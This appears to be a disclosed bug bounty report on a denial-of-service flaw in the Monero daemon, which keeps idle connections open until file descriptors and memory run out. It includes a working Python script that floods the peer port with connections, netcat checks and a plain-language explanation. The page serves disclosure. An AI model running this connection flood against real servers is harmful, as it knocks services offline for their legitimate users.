Excessive Resource Usage
The Monero daemon opens a file descriptor for each incoming connection and never closes connections from clients that send no data, so an attacker can exhaust file descriptors and memory. This causes the service to hang and become unavailable.
- Triaged in 14 hours
- Fixed in 2 months
- Disclosed after 2 months
Summary:
Unbounded resource usage due to open one file descriptor per connection, Python script below is effectively a threadbomb on the destination and uses all available memory on the server, clients not sending anything are never terminated.
Steps To Reproduce:
Up our daemon
% monerod
Check if peer accepting connection
% nc -vz 127.0.0.1 18080
Connection to 127.0.0.1 18080 port [tcp/*] succeeded!
Create python script ex: resus.py
import resource
import socket
import time
resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))
conn = []
while True:
try:
conn.append(socket.create_connection(("127.0.0.1", 18080)))
except BaseException as err:
print(err)
break
print(len(conn))
while True:
time.sleep(1)
run the script as ROOT(required for setting RLIMIT)
% sudo python resus.py
wait up 2 to minutes then run netcat again to check if our socket request bomb deny the service
% nc -vz 127.0.0.1 18080
now it's completely hang, during waiting you can run command lsof -i tcp to see lot of Monero connections
Impact
Denial of Service(Allocation of Resources Without Limits or Throttling)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the daemon does not enforce a limit on the number of open connections and does not time out idle connections.
Impact
The service becomes completely unresponsive, denying service to legitimate users.
What the attacker needed
Network access to the daemon's peer port
How it was found
- Start the Monero daemon.
- Verify that the daemon accepts connections on its peer port.
- Run a script that opens many connections to the daemon.
- Wait a couple of minutes.
- Try to connect again and observe that the service is unresponsive.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A server has a limited number of connections it can handle at once. This report shows that the Monero daemon keeps every connection open forever, even if the client never sends anything, so an attacker can open many connections and use up all the server's resources, making it stop responding.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.